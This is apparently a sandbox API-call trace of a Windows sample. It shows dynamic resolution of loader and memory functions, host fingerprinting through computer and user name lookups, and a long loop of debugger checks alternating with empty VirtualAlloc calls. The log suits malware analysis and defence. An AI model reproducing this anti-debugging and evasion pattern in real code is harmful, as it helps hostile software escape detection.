[0054.632] LdrGetProcedureAddress (in: BaseAddress=0x76350000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x12fd6c | out: ProcedureAddress=0x12fd6c*=0x763a395c) returned 0x0
[0054.632] LdrGetProcedureAddress (in: BaseAddress=0x76350000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x12fd6c | out: ProcedureAddress=0x12fd6c*=0x763a33d3) returned 0x0
[0054.632] LdrGetProcedureAddress (in: BaseAddress=0x76350000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x12fd6c | out: ProcedureAddress=0x12fd6c*=0x763a2fb6) returned 0x0
[0054.632] LdrGetProcedureAddress (in: BaseAddress=0x76350000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x12fd6c | out: ProcedureAddress=0x12fd6c*=0x76392341) returned 0x0
[0054.632] LdrGetProcedureAddress (in: BaseAddress=0x76350000, Name="UnmapViewOfFile", Ordinal=0x0, ProcedureAddress=0x12fd6c | out: ProcedureAddress=0x12fd6c*=0x7639db13) returned 0x0
[0054.632] LdrGetProcedureAddress (in: BaseAddress=0x76350000, Name="AddVectoredExceptionHandler", Ordinal=0x0, ProcedureAddress=0x12fd6c | out: ProcedureAddress=0x12fd6c*=0x775cf774) returned 0x0
[0054.632] LdrGetProcedureAddress (in: BaseAddress=0x76350000, Name="RemoveVectoredExceptionHandler", Ordinal=0x0, ProcedureAddress=0x12fd6c | out: ProcedureAddress=0x12fd6c*=0x7763ad2e) returned 0x0
[0054.632] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x775c0000
[0054.633] GetProcAddress (hModule=0x775c0000, lpProcName="cos") returned 0x77607400
[0054.633] GetProcAddress (hModule=0x775c0000, lpProcName="sin") returned 0x775f41c0
[0054.633] GetProcAddress (hModule=0x775c0000, lpProcName="strchr") returned 0x77607690
[0054.633] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76350000
[0054.633] GetProcAddress (hModule=0x76350000, lpProcName="LoadLibraryA") returned 0x763a395c
[0054.633] GetProcAddress (hModule=0x76350000, lpProcName="lstrcmpA") returned 0x76388c59
[0054.633] GetProcAddress (hModule=0x76350000, lpProcName="CreateFileA") returned 0x7639cee8
[0054.633] GetProcAddress (hModule=0x76350000, lpProcName="CloseHandle") returned 0x7639ca7c
[0054.633] GetProcAddress (hModule=0x76350000, lpProcName="GetModuleHandleA") returned 0x7639cf41
[0054.633] GetProcAddress (hModule=0x76350000, lpProcName="GetModuleFileNameA") returned 0x763a33f6
[0054.633] GetProcAddress (hModule=0x76350000, lpProcName="GetComputerNameA") returned 0x76386ba9
[0054.633] GetProcAddress (hModule=0x76350000, lpProcName="GetComputerNameExA") returned 0x763df41f
[0054.633] GetProcAddress (hModule=0x76350000, lpProcName="GetCommandLineA") returned 0x763a98ff
[0054.633] GetProcAddress (hModule=0x76350000, lpProcName="FreeConsole") returned 0x763fbfde
[0054.633] GetProcAddress (hModule=0x76350000, lpProcName="VirtualAlloc") returned 0x763a2fb6
[0054.633] GetProcAddress (hModule=0x76350000, lpProcName="IsDebuggerPresent") returned 0x76393ea8
[0054.633] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x76030000
[0054.635] GetProcAddress (hModule=0x76030000, lpProcName="GetUserNameA") returned 0x7605a4b4
[0054.635] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x760e0000
[0054.637] GetProcAddress (hModule=0x760e0000, lpProcName="StrStrIA") returned 0x760ed250
[0054.637] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.637] IsDebuggerPresent () returned 0
[0054.637] IsDebuggerPresent () returned 0
[0054.637] IsDebuggerPresent () returned 0
[0054.637] IsDebuggerPresent () returned 0
[0054.637] IsDebuggerPresent () returned 0
[0054.637] IsDebuggerPresent () returned 0
[0054.637] IsDebuggerPresent () returned 0
[0054.637] IsDebuggerPresent () returned 0
[0054.637] IsDebuggerPresent () returned 0
[0054.637] IsDebuggerPresent () returned 0
[0054.638] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.638] IsDebuggerPresent () returned 0
[0054.638] IsDebuggerPresent () returned 0
[0054.638] IsDebuggerPresent () returned 0
[0054.638] IsDebuggerPresent () returned 0
[0054.638] IsDebuggerPresent () returned 0
[0054.638] IsDebuggerPresent () returned 0
[0054.638] IsDebuggerPresent () returned 0
[0054.638] IsDebuggerPresent () returned 0
[0054.638] IsDebuggerPresent () returned 0
[0054.638] IsDebuggerPresent () returned 0
[0054.638] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.638] IsDebuggerPresent () returned 0
[0054.638] IsDebuggerPresent () returned 0
[0054.638] IsDebuggerPresent () returned 0
[0054.638] IsDebuggerPresent () returned 0
[0054.638] IsDebuggerPresent () returned 0
[0054.638] IsDebuggerPresent () returned 0
[0054.638] IsDebuggerPresent () returned 0
[0054.638] IsDebuggerPresent () returned 0
[0054.639] IsDebuggerPresent () returned 0
[0054.639] IsDebuggerPresent () returned 0
[0054.639] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.639] IsDebuggerPresent () returned 0
[0054.639] IsDebuggerPresent () returned 0
[0054.639] IsDebuggerPresent () returned 0
[0054.639] IsDebuggerPresent () returned 0
[0054.639] IsDebuggerPresent () returned 0
[0054.639] IsDebuggerPresent () returned 0
[0054.639] IsDebuggerPresent () returned 0
[0054.639] IsDebuggerPresent () returned 0
[0054.639] IsDebuggerPresent () returned 0
[0054.639] IsDebuggerPresent () returned 0
[0054.639] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.639] IsDebuggerPresent () returned 0
[0054.639] IsDebuggerPresent () returned 0
[0054.639] IsDebuggerPresent () returned 0
[0054.639] IsDebuggerPresent () returned 0
[0054.639] IsDebuggerPresent () returned 0
[0054.639] IsDebuggerPresent () returned 0
[0054.639] IsDebuggerPresent () returned 0
[0054.639] IsDebuggerPresent () returned 0
[0054.639] IsDebuggerPresent () returned 0
[0054.639] IsDebuggerPresent () returned 0
[0054.639] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.640] IsDebuggerPresent () returned 0
[0054.640] IsDebuggerPresent () returned 0
[0054.640] IsDebuggerPresent () returned 0
[0054.640] IsDebuggerPresent () returned 0
[0054.640] IsDebuggerPresent () returned 0
[0054.640] IsDebuggerPresent () returned 0
[0054.640] IsDebuggerPresent () returned 0
[0054.640] IsDebuggerPresent () returned 0
[0054.640] IsDebuggerPresent () returned 0
[0054.640] IsDebuggerPresent () returned 0
[0054.640] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.640] IsDebuggerPresent () returned 0
[0054.640] IsDebuggerPresent () returned 0
[0054.640] IsDebuggerPresent () returned 0
[0054.640] IsDebuggerPresent () returned 0
[0054.640] IsDebuggerPresent () returned 0
[0054.640] IsDebuggerPresent () returned 0
[0054.640] IsDebuggerPresent () returned 0
[0054.640] IsDebuggerPresent () returned 0
[0054.640] IsDebuggerPresent () returned 0
[0054.641] IsDebuggerPresent () returned 0
[0054.641] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.641] IsDebuggerPresent () returned 0
[0054.641] IsDebuggerPresent () returned 0
[0054.641] IsDebuggerPresent () returned 0
[0054.641] IsDebuggerPresent () returned 0
[0054.641] IsDebuggerPresent () returned 0
[0054.641] IsDebuggerPresent () returned 0
[0054.641] IsDebuggerPresent () returned 0
[0054.641] IsDebuggerPresent () returned 0
[0054.641] IsDebuggerPresent () returned 0
[0054.641] IsDebuggerPresent () returned 0
[0054.641] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.641] IsDebuggerPresent () returned 0
[0054.641] IsDebuggerPresent () returned 0
[0054.641] IsDebuggerPresent () returned 0
[0054.641] IsDebuggerPresent () returned 0
[0054.641] IsDebuggerPresent () returned 0
[0054.641] IsDebuggerPresent () returned 0
[0054.641] IsDebuggerPresent () returned 0
[0054.641] IsDebuggerPresent () returned 0
[0054.641] IsDebuggerPresent () returned 0
[0054.641] IsDebuggerPresent () returned 0
[0054.641] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.641] IsDebuggerPresent () returned 0
[0054.642] IsDebuggerPresent () returned 0
[0054.642] IsDebuggerPresent () returned 0
[0054.642] IsDebuggerPresent () returned 0
[0054.642] IsDebuggerPresent () returned 0
[0054.642] IsDebuggerPresent () returned 0
[0054.642] IsDebuggerPresent () returned 0
[0054.642] IsDebuggerPresent () returned 0
[0054.642] IsDebuggerPresent () returned 0
[0054.642] IsDebuggerPresent () returned 0
[0054.642] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.642] IsDebuggerPresent () returned 0
[0054.642] IsDebuggerPresent () returned 0
[0054.642] IsDebuggerPresent () returned 0
[0054.642] IsDebuggerPresent () returned 0
[0054.642] IsDebuggerPresent () returned 0
[0054.642] IsDebuggerPresent () returned 0
[0054.642] IsDebuggerPresent () returned 0
[0054.642] IsDebuggerPresent () returned 0
[0054.642] IsDebuggerPresent () returned 0
[0054.642] IsDebuggerPresent () returned 0
[0054.642] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.642] IsDebuggerPresent () returned 0
[0054.642] IsDebuggerPresent () returned 0
[0054.642] IsDebuggerPresent () returned 0
[0054.642] IsDebuggerPresent () returned 0
[0054.643] IsDebuggerPresent () returned 0
[0054.643] IsDebuggerPresent () returned 0
[0054.643] IsDebuggerPresent () returned 0
[0054.643] IsDebuggerPresent () returned 0
[0054.643] IsDebuggerPresent () returned 0
[0054.643] IsDebuggerPresent () returned 0
[0054.643] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.643] IsDebuggerPresent () returned 0
[0054.643] IsDebuggerPresent () returned 0
[0054.643] IsDebuggerPresent () returned 0
[0054.643] IsDebuggerPresent () returned 0
[0054.643] IsDebuggerPresent () returned 0
[0054.643] IsDebuggerPresent () returned 0
[0054.643] IsDebuggerPresent () returned 0
[0054.643] IsDebuggerPresent () returned 0
[0054.643] IsDebuggerPresent () returned 0
[0054.643] IsDebuggerPresent () returned 0
[0054.643] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.643] IsDebuggerPresent () returned 0
[0054.643] IsDebuggerPresent () returned 0
[0054.643] IsDebuggerPresent () returned 0
[0054.643] IsDebuggerPresent () returned 0
[0054.643] IsDebuggerPresent () returned 0
[0054.643] IsDebuggerPresent () returned 0
[0054.644] IsDebuggerPresent () returned 0
[0054.644] IsDebuggerPresent () returned 0
[0054.644] IsDebuggerPresent () returned 0
[0054.644] IsDebuggerPresent () returned 0
[0054.644] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.645] IsDebuggerPresent () returned 0
[0054.645] IsDebuggerPresent () returned 0
[0054.645] IsDebuggerPresent () returned 0
[0054.645] IsDebuggerPresent () returned 0
[0054.645] IsDebuggerPresent () returned 0
[0054.645] IsDebuggerPresent () returned 0
[0054.645] IsDebuggerPresent () returned 0
[0054.645] IsDebuggerPresent () returned 0
[0054.645] IsDebuggerPresent () returned 0
[0054.645] IsDebuggerPresent () returned 0
[0054.645] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.645] IsDebuggerPresent () returned 0
[0054.645] IsDebuggerPresent () returned 0
[0054.645] IsDebuggerPresent () returned 0
[0054.645] IsDebuggerPresent () returned 0
[0054.645] IsDebuggerPresent () returned 0
[0054.645] IsDebuggerPresent () returned 0
[0054.645] IsDebuggerPresent () returned 0
[0054.645] IsDebuggerPresent () returned 0
[0054.646] IsDebuggerPresent () returned 0
[0054.646] IsDebuggerPresent () returned 0
[0054.646] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.646] IsDebuggerPresent () returned 0
[0054.646] IsDebuggerPresent () returned 0
[0054.646] IsDebuggerPresent () returned 0
[0054.646] IsDebuggerPresent () returned 0
[0054.646] IsDebuggerPresent () returned 0
[0054.646] IsDebuggerPresent () returned 0
[0054.646] IsDebuggerPresent () returned 0
[0054.646] IsDebuggerPresent () returned 0
[0054.646] IsDebuggerPresent () returned 0
[0054.646] IsDebuggerPresent () returned 0
[0054.646] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.646] IsDebuggerPresent () returned 0
[0054.646] IsDebuggerPresent () returned 0
[0054.646] IsDebuggerPresent () returned 0
[0054.646] IsDebuggerPresent () returned 0
[0054.646] IsDebuggerPresent () returned 0
[0054.646] IsDebuggerPresent () returned 0
[0054.646] IsDebuggerPresent () returned 0
[0054.646] IsDebuggerPresent () returned 0
[0054.646] IsDebuggerPresent () returned 0
[0054.646] IsDebuggerPresent () returned 0
[0054.646] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.647] IsDebuggerPresent () returned 0
[0054.647] IsDebuggerPresent () returned 0
[0054.647] IsDebuggerPresent () returned 0
[0054.647] IsDebuggerPresent () returned 0
[0054.647] IsDebuggerPresent () returned 0
[0054.647] IsDebuggerPresent () returned 0
[0054.647] IsDebuggerPresent () returned 0
[0054.647] IsDebuggerPresent () returned 0
[0054.647] IsDebuggerPresent () returned 0
[0054.647] IsDebuggerPresent () returned 0
[0054.647] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.647] IsDebuggerPresent () returned 0
[0054.647] IsDebuggerPresent () returned 0
[0054.647] IsDebuggerPresent () returned 0
[0054.647] IsDebuggerPresent () returned 0
[0054.647] IsDebuggerPresent () returned 0
[0054.647] IsDebuggerPresent () returned 0
[0054.647] IsDebuggerPresent () returned 0
[0054.647] IsDebuggerPresent () returned 0
[0054.647] IsDebuggerPresent () returned 0
[0054.647] IsDebuggerPresent () returned 0
[0054.647] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.647] IsDebuggerPresent () returned 0
[0054.647] IsDebuggerPresent () returned 0
[0054.647] IsDebuggerPresent () returned 0
[0054.648] IsDebuggerPresent () returned 0
[0054.648] IsDebuggerPresent () returned 0
[0054.648] IsDebuggerPresent () returned 0
[0054.648] IsDebuggerPresent () returned 0
[0054.648] IsDebuggerPresent () returned 0
[0054.648] IsDebuggerPresent () returned 0
[0054.648] IsDebuggerPresent () returned 0
[0054.648] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.648] IsDebuggerPresent () returned 0
[0054.648] IsDebuggerPresent () returned 0
[0054.648] IsDebuggerPresent () returned 0
[0054.648] IsDebuggerPresent () returned 0
[0054.648] IsDebuggerPresent () returned 0
[0054.648] IsDebuggerPresent () returned 0
[0054.648] IsDebuggerPresent () returned 0
[0054.648] IsDebuggerPresent () returned 0
[0054.648] IsDebuggerPresent () returned 0
[0054.648] IsDebuggerPresent () returned 0
[0054.648] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.648] IsDebuggerPresent () returned 0
[0054.648] IsDebuggerPresent () returned 0
[0054.648] IsDebuggerPresent () returned 0
[0054.648] IsDebuggerPresent () returned 0
[0054.648] IsDebuggerPresent () returned 0
[0054.648] IsDebuggerPresent () returned 0
[0054.649] IsDebuggerPresent () returned 0
[0054.649] IsDebuggerPresent () returned 0
[0054.649] IsDebuggerPresent () returned 0
[0054.649] IsDebuggerPresent () returned 0
[0054.649] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.649] IsDebuggerPresent () returned 0
[0054.649] IsDebuggerPresent () returned 0
[0054.649] IsDebuggerPresent () returned 0
[0054.649] IsDebuggerPresent () returned 0
[0054.649] IsDebuggerPresent () returned 0
[0054.649] IsDebuggerPresent () returned 0
[0054.649] IsDebuggerPresent () returned 0
[0054.649] IsDebuggerPresent () returned 0
[0054.649] IsDebuggerPresent () returned 0
[0054.649] IsDebuggerPresent () returned 0
[0054.649] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.649] IsDebuggerPresent () returned 0
[0054.649] IsDebuggerPresent () returned 0
[0054.649] IsDebuggerPresent () returned 0
[0054.649] IsDebuggerPresent () returned 0
[0054.649] IsDebuggerPresent () returned 0
[0054.649] IsDebuggerPresent () returned 0
[0054.649] IsDebuggerPresent () returned 0
[0054.649] IsDebuggerPresent () returned 0
[0054.650] IsDebuggerPresent () returned 0
[0054.650] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.650] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.650] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.650] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.650] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.650] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.650] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.650] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.650] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.650] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.650] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.650] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.650] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.650] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.650] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.650] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.650] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.650] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.650] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.650] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.651] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.651] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.651] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.651] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.651] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.651] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.651] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.651] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.651] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.651] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.651] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.651] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.651] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.651] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.651] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.651] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.651] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.651] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.651] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.651] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.651] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.652] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.652] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.652] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.652] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.652] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.652] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.652] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.652] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.652] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.652] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.652] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.652] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.652] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.652] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.652] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.652] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.652] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.652] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.652] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.652] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.652] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.653] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.653] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.653] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.653] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.653] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.653] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.653] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.653] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.653] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.653] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.653] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.653] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.653] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.653] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.653] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.653] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.653] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.653] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.653] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.653] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.653] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.654] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.654] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.654] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.654] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.654] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.654] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.654] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.654] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.654] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.654] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.654] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.654] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.654] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.654] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.654] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.654] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.654] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.654] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0054.654] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
